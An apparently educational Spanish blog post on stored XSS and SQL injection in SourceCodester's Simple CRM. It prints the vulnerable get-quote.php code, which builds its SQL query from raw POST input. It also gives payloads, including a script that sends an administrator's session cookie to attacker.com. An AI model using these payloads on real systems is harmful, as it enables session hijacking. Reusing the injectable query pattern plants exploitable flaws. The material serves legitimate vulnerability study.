
Análisis educativo de CVE-2023-24203 (XSS almacenado) y CVE-2023-24204 (Inyección SQL) en SourceCodester CRM, con pasos de explotación y estrategias de mitigación.
En el panorama en constante evolución de la ciberseguridad, las aplicaciones web siguen siendo un objetivo principal para los atacantes que buscan explotar vulnerabilidades. Recientemente, se descubrieron dos vulnerabilidades críticas en el Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0: CVE-2023-24203 y CVE-2023-24204. Estas vulnerabilidades, que implican Cross-Site Scripting (XSS) e inyección SQL, plantean riesgos significativos, incluida la ejecución arbitraria de código y el acceso no autorizado. Comprender estas vulnerabilidades y sus impactos es esencial para que los desarrolladores y profesionales de la seguridad protejan los sistemas frente a posibles amenazas.
Cross-Site Scripting (XSS) es un tipo de vulnerabilidad que se produce cuando una aplicación web permite a los usuarios inyectar scripts maliciosos en páginas web vistas por otros usuarios. Esto puede dar lugar a acciones no autorizadas en nombre del usuario, robo de datos y una mayor explotación. Las vulnerabilidades XSS se pueden clasificar en tres tipos principales:
La inyección SQL es un tipo de vulnerabilidad que se produce cuando un atacante puede manipular consultas SQL inyectando código SQL arbitrario en una consulta. Esto puede dar lugar a acceso no autorizado, robo de datos y otras actividades maliciosas. La inyección SQL suele ocurrir debido a una validación de entrada insuficiente y a la falta de consultas parametrizadas. Los impactos clave de la inyección SQL incluyen:
En esta entrada de blog, profundizaremos en CVE-2023-24203 y CVE-2023-24204, explorando los detalles de estas vulnerabilidades, sus vectores de ataque, impactos y estrategias de mitigación. Comprender estas vulnerabilidades en profundidad es crucial para proteger sus aplicaciones y datos de posibles explotaciones.
Las vulnerabilidades de inyección SQL suelen ser el resultado de una validación de entrada inadecuada y malas prácticas de codificación. Algunas causas comunes incluyen:
Las vulnerabilidades de Cross-Site Scripting (XSS) suelen deberse a la falta de manejo adecuado de la entrada y salida de los usuarios. Las causas comunes incluyen:
CVE-2023-24203 es una vulnerabilidad de Cross-Site Scripting (XSS) almacenado encontrada en el componente get-quote.php del Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0. Esta vulnerabilidad permite a un atacante inyectar scripts maliciosos en los parámetros company y query, que luego se almacenan en la base de datos y se ejecutan cuando un administrador los visualiza, lo que lleva a la ejecución arbitraria de código.
La vulnerabilidad reside en el script get-quote.php, que procesa la entrada del usuario de un formulario de solicitud de cotización. El código fuente PHP se muestra a continuación:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
El script toma las entradas del usuario del formulario (nombre, correo electrónico, contacto, empresa, servicios, otros y consulta) y las incorpora directamente a una consulta SQL para almacenar los datos en la base de datos. Mientras que la entrada de servicios se sanitiza con mysqli_real_escape_string y addslashes, los parámetros company y query no se sanitizan ni codifican adecuadamente cuando se devuelven en la respuesta. Esta falta de sanitización y codificación adecuadas permite la inyección y el almacenamiento de scripts maliciosos en la base de datos.
Para explotar esta vulnerabilidad, un atacante puede crear un payload que incluya código JavaScript malicioso en el parámetro company o query. Cuando el administrador visualice la solicitud de cotización, el script inyectado se ejecutará en su navegador.
Al enviar el siguiente payload en el parámetro query:
<script>alert('XSS');</script>
El atacante puede desencadenar un ataque XSS cuando el administrador visualiza la solicitud de cotización.
Se puede crear un payload más dañino para robar las cookies de sesión del administrador. Al usar el siguiente payload en el parámetro query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
El atacante puede enviar las cookies del administrador a un servidor remoto controlado por él.